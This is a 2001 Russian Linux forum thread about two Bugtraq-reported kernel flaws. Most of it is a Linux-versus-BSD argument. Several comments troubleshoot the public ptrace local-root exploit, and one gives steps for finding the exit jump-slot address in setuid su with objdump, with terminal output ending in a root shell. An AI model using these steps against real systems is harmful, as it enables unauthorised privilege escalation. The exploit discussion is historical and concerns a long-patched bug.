LINUX.ORG.RU

Rafal Wojtczuk/Bugtraq: Трещины в последних ядрах Linux


0

0

Найдены 2 уязвимости в ядрах Linux 2.2.x, x<=19 и 2.4.y, y<= 9, одна из которых - local DoS, вторая позволяет при определенных условиях получить локально права привилегированного пользователя. 2.4.12 не подвержено этим уязвимостям, заплаты для других версий доступны.

>>> Подробности



Проверено:

А! Это видать то самое, от чего в 2.4.11 пытались избавиться? :)

anonymous
()

че-то я не воткнулся. Ну запустил я "./mklink.sh 5" и че дальше ? Разжуйте кто-н-ть ... :-)

anonymous
()

прошу пардона, после того как сделал ./mklink.sh 30, а потом ls, все понятно стало :-)

anonymous
()

Бл... ин! Задолбало ужо! Я думал наигрались с ядрами, так может сделать что нормальное? 2.2.18 - локальный рут... Хорошо - 2.2.19 - и всё типи-топи... А тут выдают такое... Патчи для ядра - это хорошо, конечно, но оно само должно быть стабильным и не иметь таких глупых ошибок... Знаю - сейчас накинуться на меня, но в BSD системах всё же нет такого бардака... Особливо в OpenBSD. Почему бы не сделать сначала стабильным ядро (для сервака нормальным), а потом уж хоть чёрта в ступе в ядро пихать (скромный намёк на Web-сервер в _ЯДРЕ_), и ориентировать на end(home)-users...

xlex
()

2xlex (*) (2001-10-19 14:11:50.0)

Вот иди и юзай свой BSD, лови в них баги, трахайся с их софтом, а я лучше поставлю пачик для 2.2.19 и буду юзать его дальше. Оно кстати вышло черт знает когда и это первый баг в нем.

anonymous
()

Че-то я не въехал:
[I have no name!@anton anton]$ gcc insert_shellcode.c -o insert_shellcode
[I have no name!@anton anton]$ gcc ptrace-exp.c -o ptrace-exp
[I have no name!@anton anton]$ ls
insert_shellcode insert_shellcode.c ptrace-exp ptrace-exp.c
[I have no name!@anton anton]$ ./ptrace-exp
attached
exec ./insert_shellcode 3816
03835: find library=libc.so.6; searching
03835: search cache=/etc/ld.so.cache
03835: trying file=/lib/i686/libc.so.6
03835:
03835:
03835: calling init: /lib/i686/libc.so.6
03835:
03835:
03835: initialize program: grep
03835:
03835:
03835: transferring control: grep
03835:
03835:
03835: calling fini: /lib/i686/libc.so.6
03835:
[I have no name!@anton anton]$ uname -a
Linux anton 2.4.9-0.5 #1 Mon Sep 17 13:31:24 EDT 2001 i686 unknown

и че ? где шелл ?

anonymous
()
Ответ на: комментарий от anonymous

Как относительно фактов?? Какие баги?? "Ядрённые" приветсвуются особенно. Трахаться с BSD? =) Я не знаю, кто как, но женщины мне нравяться больше... =) Тем более, что время проведённое за головняком обратно пропорционально знаниям... Так кто ставьте патчики (ой, первый ли?? следите за новостями!), юзаёте дальше,... Да, кстати, "их" софт - это что, у FreeBSD & GNU/Linux - теперь принципиально разный и несовместимый софт?? Вообще, я говорю про серверные задачи, умник.

xlex
()
Ответ на: комментарий от anonymous

Я чего-то не понял: а зачем делать chmod aog-r /etc/passwd ??

xlex
()

а фиг его знает, так вышло ... дык еще раз - как шелл-то получить ?

anonymous
()

По долгу службы начал перепозлать под БСД. Если кто-нибуть еще раз скажет, что эта система _логичнее_ линукса - убью к чертям.

Не буду спорить, в БСД есть свои фишки, и очень приятные - но сама система после линукса кажется настолько уродливо организованой - просто кошмар.

fearan
()

Короче, вот:

roman@eniac:~/expl > uname -a
Linux eniac 2.2.19 #2 Mon Jul 9 16:58:19 MSD 2001 i686 unknown
roman@eniac:~/expl > gcc ptrace-exp.c -o ptrace-exp   
roman@eniac:~/expl > gcc insert_shellcode.c -o insert_shellcode   
roman@eniac:~/expl > ls
insert_shellcode  insert_shellcode.c  ptrace-exp  ptrace-exp.c
roman@eniac:~/expl > ./ptrace-exp 
attached
roman@eniac:~/expl > 

svartalf
()
Ответ на: комментарий от xlex

> но в BSD системах всё же нет такого бардака... Особливо в OpenBSD

есть , и еще какой
про OpenBSD почитай http://www.security.nnov.ru/search/document.asp?docid=1685
потом http://www.security.nnov.ru/search/document.asp?docid=1724
потом http://www.security.nnov.ru/search/document.asp?docid=2075

у FreeBSD помнится с procfs что-то серьезное было, и с rfork..

szh ★★★★
()

2fearan: Примеры уродливости можно? Лучше мылом.
Мне например кажется, что логично держать весь установленный тобой софт в /usr/local, а в /etc, /bin, /sbin и пр. не мусорить.

sem
()
Ответ на: комментарий от sem

а что мешает? держи пожалуйста это замечание ни какого отношения к Linux не имеет. Если только к конкретным дистрибам.

andromeda
()

Правильно говорил один умный человек что когда linux приблизится к популярности к Windows то окажется что и вирусов, и дыр и багов в нем не меньше. Все дело в количестве желающих писать вирусы или искать баги.

anonymous
()

Мылом, увы, сейчас не могу.

Поставил 4.3-STABLE. Ставил в минимальной установке. Потом - pkg_add vim-5.7 - ну не перевариваю я vi. Поставил, слинковал /usr/bin/vi с /usr/local/bin/vim - все ок. Дай, думаю, убью vi. pkg_delete vi - фиг вам. Лезу в /var/pkg/db/ - нету там vi.

И как мне его удалять прикажите? Нет, я понимаю, что можно ручками грохунть vi. Можно пойди, найти install.log и прогрепать. Можно залезть на компакт, и сказать tar -tf vi-%version%.tgz

Но в линуксе мне это нафиг не надо - я одной командой все сделаю.

И так - со всем. Сырцы, кстати, тоже - что очень неудобно, бо обновлять через сеть я их не буду - я еще не рокфеллер пока.

fearan
()

люди, приведите пример того, как вторая часть работает ? как из этого всего шелл получается, а то че-то не выходит !

anonymous
()

а никак вторая чать не работает!

svartalf
()

2 fearan: Это ты просто к линуксу привык и решил, что он идеал :)

А сырцы апдейтятся не все, а только разница. Да и пересылается оно в компресованном виде. Так что большой разницы с линуксом тут не будет.

Havoc ★★★★
()

Мда господа из стана БСД. Идите лучше пишите фурналируемый ФС и
нормальный smp, tmpfs, devfs, а то разорались что багов нету ( свежо
предание ), вот в DOS тоже багов нету, но и не умеет она не фига как и
фря.

Oracle нету, opengl нету, пакет менеджер убогий и т.д. и т.п.
Про mc вообще молчу, и не говорите что надо юзать консоль я люблю
смотреть файлы в МС. Так что секса вам, господа, недаром эта ось
занимает 5% web серверов.

anonymous
()

2Havoc: Про то и речь :-) Линукс - самая дружественная к пользователю система.

2anonymous: С другой стороны, в линуксе нет divert :-)

Или-таки в 2.4 есть что-то похожее?

fearan
()

2Havoc: Про то и речь :-) Линукс - самая дружественная к пользователю система.

Я наоборот перешел с линуха на фрю, и порадовался, как хорошо и логично. Назад не тянет.

> Идите лучше пишите фурналируемый ФС
Дык напиши под линукс, а то в ножки IBM и SGI падаете.
А mc линуксоиды пишут, которые не подозревают, что бывают другие терминалы, кроме linux и xterm.

А у тебя Oracle лицензионный? :)
Да и его и opengl под линух явно не Линус и компания писали. Так что берете подачки, берите молча. А то прям гордость прет, я нищий и стою с протянутой рукой.

Havoc ★★★★
()

Я наоборот перешел с линуха на фрю, и порадовался, как хорошо и логично. Назад не тянет.

> Идите лучше пишите фурналируемый ФС
Дык напиши под линукс, а то в ножки IBM и SGI падаете.

ХМ а reiser, потом никто в ножки не падает, а нам просто пришут, а вот фре нет.

>А mc линуксоиды пишут, которые не подозревают, что бывают другие терминалы, кроме linux и xterm.

Мне все равно кто его пишет, вот то что моя любима софтина не пашет, это меня бесит

>А у тебя Oracle лицензионный? :)
Да.

Да и его и opengl под линух явно не Линус и компания писали. Так что берете подачки, берите молча. А то прям гордость прет, я нищий и стою с протянутой рукой.

Причем тут подачки, я де говорю просто крупные кампании класть хотели на фрю, ибо не нужна она им, линукс им приглянулся больше.

Так что секса вам.

anonymous
()
Ответ на: комментарий от anonymous

Бдум-бдум. Вы, товарищ, с фрей общались минут 5 небось. Уж чего-чего а МС там точно есть и opengl. А чем вам не понравился пакет менеджер? Вроде вполне логичный и удобный.

anonymous
()

>> люди, приведите пример того, как вторая часть работает ?

Чтобы она заработала, нужно в файле insert_shellcode.c исправить одну строчку - заменить дефолтный адрес в #define на посещаемый адрес в твоей /usr/bin/passwd.

Hamster
()

2anonymous (*) (2001-10-19 18:40:31.0)

Похоже вы не видели что такое нормальный mc. 1. Где Ctrl+O ( в текстовой консоли ). 2. OpenGL есть ?? ну запусти тогда q3 на карточке от nvidia.

С фрей мне приходилось общаться в течениее целого года, я плевалс и матерился, но надо было.

anonymous
()

Хе, 5 процентов говорошь, умник ну-ну. А насчет пакетов, лучше юзать порты

anonymous
()

2anonymous (*) (2001-10-19 19:01:27.0)

http://www.netcraft.com/survey/

Windows 49.6% Windows 2000, NT4, NT3, Windows 9x/Me
Linux 29.6% Linux
Solaris 7.1% Solaris 2, Solaris 7, Solaris 8
BSD 6.1% BSDI BSD/OS, FreeBSD, NetBSD, OpenBSD

Извини 6% ошибся.

anonymous
()

http://www.netstat.ru/

FreeBSD 43.74 % Linux 31.44 % Windows 16.38 % Solaris 3.84 % SCO 1.69 % OpenBSD 1.06 % BSDi 0.88 % AIX 0.47 % Irix 0.31 % OS/2 0.10 % HP-UX 0.03 %

anonymous
()

2anonymous (*) (2001-10-19 19:15:30.0)

Ну и зачем статистика по рунету ? Мы на 2 или 3 месте в мире по использованию BSD, так что не удивительно.
Но вот в мире это капля, так что если 100 васиных пупкиных поставили в россии FreeBSD, это ровном счетом ничего не значит.

anonymous
()

Сегодня посмотрел статистику моего сайта. Оказалось что пользователей линукса ОЧЕНЬ мало. Windows: 97.45 % (8648) Linux: 0.247 % (22) Mac/PPC: 1.014 % (90) FreeBSD: 0.033 % (3) SunOS: 0.078 % (7) Получается зря старлся править код что бы показывалось на нетшкафе. Придется оптимизировать чисто под IE. А мне казалось что линуксоидов процентов 10 уже.

anonymous
()
Ответ на: комментарий от anonymous

>2. OpenGL есть ?? ну запусти тогда
>q3 на карточке от nvidia.

Да ну нафиг nvidia. У меня их дареные дрова вешают и линукс,
при попытке обратится к OpenGL, или просто выйти из иксов.
Так и работаю, утирая слёзы с драйвером nv...
Кстати, а что есть такое этот OpenGL и нужен ли он мне?
А то может зря нервничаю?

bormann
()

2bormann (*) (2001-10-19 19:25:37.0)

в кваку и кс гамиться например :)

anonymous
()

Ну блин, дети малые здесь собрались. FreeBSD им нелогичная. Такое только в пьяном бреду можно сказать. Человек ни черта не понимает в архитектуре BSD, и тем не менее называет её нелогичной. Это надо же, полез искать vi в /var/pkg/db/. Вы его, батенька fearan, ешё в /tmp поищите. :-)

badger
()
Ответ на: комментарий от anonymous

2anonymous:
>Сегодня посмотрел статистику моего сайта. Оказалось что
>пользователей линукса ОЧЕНЬ мало
В первую очередь - смотри в зеркало :)
Может твой сайт только тупых виндузятников и привлекает?
Как говорил один придурок: красивых женщин не существует, потому как
мне одни уродины попадаются :)

Led ★★★☆☆
()

Во первых сайт обыщей тематики. Там нет ни слова про винды или линусос. Сходил на другой сайт и там тоже линусосовцев всего 0,1%

anonymous
()
Ответ на: комментарий от anonymous

2anonymous:
>Во первых сайт обыщей тематики. Там нет ни слова про винды или линусос
Обьясняю еще раз: "сайт общей тематики" - это сайт для идиотов,
нормальные люди в "инет ходят" с заранее определенной целью...
Ничего удивительного - для common people ничего лучше Windows нету...
Или Web-телевизора...

Led ★★★☆☆
()
Ответ на: комментарий от anonymous

2 anonymous (*) (2001-10-19 19:24:07.0):
Maybe its a problem of your site? :)
Maybe it is devoted to some crap? and only dumb windows users visit it:) ?
Anyway...if you optimize it just for IE, one more site'll be unavailable to 
linux users and thus a statistics is made.

anonymous
()

Official: Linux vs. FreeBSD offtopic

Subj

BaT ★★★★★
()
Ответ на: комментарий от Hamster

> Чтобы она заработала, нужно в файле insert_shellcode.c исправить одну строчку - заменить дефолтный адрес в #define на посещаемый адрес в твоей /usr/bin/passwd.

а где этот адрес взять ???

anonymous
()

> >А mc линуксоиды пишут, которые не подозревают, что бывают другие терминалы, кроме linux и xterm.

>Мне все равно кто его пишет, вот то что моя любима софтина не пашет, это меня бесит

Знаешь, если из-за твоей кривой поделки упадет линух, кто виноват, ты или линух? Мне кажется, что ты. Так что не перекладывай проблемы с больной головы гномовцев на здоровую.
Deco, например, умеет панели прятать.
Просто mc написан под Linux, а не под UNIX like системы

Havoc ★★★★
()

Какие поделки? Какие линуксоиды, какие терминалы? Компилите под BSD мсишку с опциией --with-SLANG (точно не помню, посмотрите Makefile) и будут у вас окошки прятаться и цветная она будет и т.д.

Вот только мне непонятно зачем эти BSDишники отключают всякие удобные фичи, которые полезны, удобны и т.д.

Взять хрестолматийный пример. Попробуйте под BSD сделать

chown bla.bla /mydir -R

Нихрена она не схавает! Там тупой древний разбор аргументов, -R нада обязательно всунуть перед директорией. Таких мелких пакостей в BSD пруд пруди, и гордится ими просто глупо. Да она надежная, да баги в ней чуть реже всплывают. А что вы хотели, когда годами и десятилетиями в код не добавляется никаких полезных и нужных функций!

Пусть лучше добавляют новые фичи и фиксят баги через месяц, чем этот вечный застой. Вот опять пятую фрю на год отложили. Кому она нужна? Linux вынужден конкурировать с виндой, а BSD это прибежище ортодоксов, она в этой конкуренции просто не способна участвовать. Поэтому грязный Билл так любит эту рогатосатанинскую систему.

anonymous
()
Ответ на: комментарий от anonymous

>> а где этот адрес взять ???
>objdump -R passwd | grep setlocale | awk '{print $1}'

не, че-то не то ... ! Во-первых objdump -R /usr/bin/passwd можно сделть только под root'ом, во-вторых строки setlocale там нету:

[root@anton /root]# objdump -R /usr/bin/passwd

/usr/bin/passwd: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804bd4c R_386_GLOB_DAT __gmon_start__
0804be18 R_386_COPY stderr
0804be20 R_386_COPY poptHelpOptions
0804bcb0 R_386_JUMP_SLOT poptGetContext
0804bcb4 R_386_JUMP_SLOT poptGetArgs
0804bcb8 R_386_JUMP_SLOT pwdb_replace
0804bcbc R_386_JUMP_SLOT pwdb_start
0804bcc0 R_386_JUMP_SLOT __register_frame_info
0804bcc4 R_386_JUMP_SLOT fprintf
0804bcc8 R_386_JUMP_SLOT pwdb_delete
0804bccc R_386_JUMP_SLOT pam_end
0804bcd0 R_386_JUMP_SLOT pam_chauthtok
0804bcd4 R_386_JUMP_SLOT pwdb_get_entry
0804bcd8 R_386_JUMP_SLOT poptGetNextOpt
0804bcdc R_386_JUMP_SLOT getpwuid
0804bce0 R_386_JUMP_SLOT __deregister_frame_info
0804bce4 R_386_JUMP_SLOT pwdb_flags
0804bce8 R_386_JUMP_SLOT pwdb_strerror
0804bcec R_386_JUMP_SLOT poptBadOption
0804bcf0 R_386_JUMP_SLOT strlen
0804bcf4 R_386_JUMP_SLOT strncmp
0804bcf8 R_386_JUMP_SLOT __libc_start_main
0804bcfc R_386_JUMP_SLOT printf
0804bd00 R_386_JUMP_SLOT pwdb_end
0804bd04 R_386_JUMP_SLOT pwdb_set_entry
0804bd08 R_386_JUMP_SLOT getuid
0804bd0c R_386_JUMP_SLOT __strdup
0804bd10 R_386_JUMP_SLOT misc_conv
0804bd14 R_386_JUMP_SLOT __cxa_finalize
0804bd18 R_386_JUMP_SLOT snprintf
0804bd1c R_386_JUMP_SLOT pam_fail_delay
0804bd20 R_386_JUMP_SLOT pam_strerror
0804bd24 R_386_JUMP_SLOT getpwnam
0804bd28 R_386_JUMP_SLOT exit
0804bd2c R_386_JUMP_SLOT calloc
0804bd30 R_386_JUMP_SLOT pam_start
0804bd34 R_386_JUMP_SLOT poptStrerror
0804bd38 R_386_JUMP_SLOT basename
0804bd3c R_386_JUMP_SLOT pwdb_locate
0804bd40 R_386_JUMP_SLOT read
0804bd44 R_386_JUMP_SLOT poptSetOtherOptionHelp
0804bd48 R_386_JUMP_SLOT pwdb_entry_delete

люди, кто-то может ВНЯТНО объяснить, как используя проги ptrace-exp.c и insert_shellcode.c получить рутовый шелл, изначально доступа таковому не имея ?

anonymous
()
Ответ на: комментарий от anonymous

>Какие поделки? Какие линуксоиды, какие терминалы? Компилите под BSD
>мсишку с опциией --with-SLANG (точно не помню, посмотрите Makefile)
>и будут у вас окошки прятаться и цветная она будет и т.д.

BSDшники это знают. Это жы кричишь, шо оно под фрей чего-то не умеет.

>Вот только мне непонятно зачем эти BSDишники отключают всякие
>удобные фичи, которые полезны, удобны и т.д.

Потому как они криво и непортабельно написаны.


>Взять хрестолматийный пример. Попробуйте под BSD сделать
>chown bla.bla /mydir -R

Нашел зацепку. А почему бы и -R не перед именем директории?
Или ты решил, что GNU chown - пример для подражания?

>А что вы хотели, когда годами и десятилетиями в код не добавляется
>никаких полезных и нужных функций!

И сколько ты десятилетий насчитал, юноша?

>Пусть лучше добавляют новые фичи и фиксят баги через месяц, чем этот
>вечный застой. Вот опять пятую фрю на год отложили

Скорее пусть вносят новые баги и их фиксят. Это вас и погубит, имхо.

>Linux вынужден конкурировать с виндой,

Ага, если вопли "все что не линукс - мастдай" называются конкуренцией.
Я неоднократно замечал, что если в линуксе какой-то фичи нет, то линуксоиды орут, что она нафиг не нужна, и что это сакс. Если появится, начинают сильно гордиться собой, какие они крутые.
Смешно.

>а BSD это прибежище ортодоксов, она в этой конкуренции просто не >способна участвовать

Мужики делают свою песочницу, а кому она не нравится, пусть в ней не играется. Ради бога, никто никого туда насильно не тащит.

> Поэтому грязный Билл так любит эту рогатосатанинскую систему.

Если и любит, то потому, что ее приверженцы более презво мыслят, чем большинство линуксоидов, таких как ты, в частности.
И она не менее свободна и бесплатна. Да и сектой не пахнет.

Havoc ★★★★
()

2 anonymous (*) (2001-10-22 14:40:49.0)

> Во-первых objdump -R /usr/bin/passwd можно сделть только под > root'ом

правильно

[igor@adminsys ptrace]$ stat `which passwd` File: "/usr/bin/passwd" Size: 13044 Blocks: 32 Regular File Device: 308h/776d Inode: 685675 Links: 1 Access: (4511/-r-s--x--x) Uid: ( 0/ root) Gid: ( 0/ root) Access: Tue Oct 23 09:05:36 2001 Modify: Fri Jan 5 23:46:42 2001 Change: Wed Oct 10 07:53:55 2001

Не нравится passwd запускай в качестве отлаживаемого процесса su

[igor@adminsys ptrace]$ stat `which su` File: "/bin/su" Size: 13952 Blocks: 32 Regular File Device: 308h/776d Inode: 669165 Links: 1 Access: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: Tue Oct 23 09:07:36 2001 Modify: Wed Feb 7 19:45:12 2001 Change: Mon May 7 18:27:47 2001

Соответственно адрес можно найти

[igor@adminsys ptrace]$ objdump --dynamic-reloc `which su` | grep exit 0804c0e0 R_386_JUMP_SLOT exit

шелл вставляется по адресу функции exit (причем здесь setlocale я не знаю)

Итого

[igor@adminsys ptrace]$ cc -o insert_shellcode insert_shellcode.c [igor@adminsys ptrace]$ cc -o ptrace-exp ptrace-exp.c [igor@adminsys ptrace]$ ./ptrace-exp attached exec ./insert_shellcode 2339 sh-2.04# id uid=0(root) gid=501(igor) groups=501(igor)

anonymous
()

Извиняюсь

[igor@adminsys ptrace]$ cc -o insert_shellcode insert_shellcode.c [igor@adminsys ptrace]$ cc -o ptrace-exp ptrace-exp.c [igor@adminsys ptrace]$ ./ptrace-exp attached exec ./insert_shellcode 2339 sh-2.04# id uid=0(root) gid=501(igor) groups=501(igor)

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.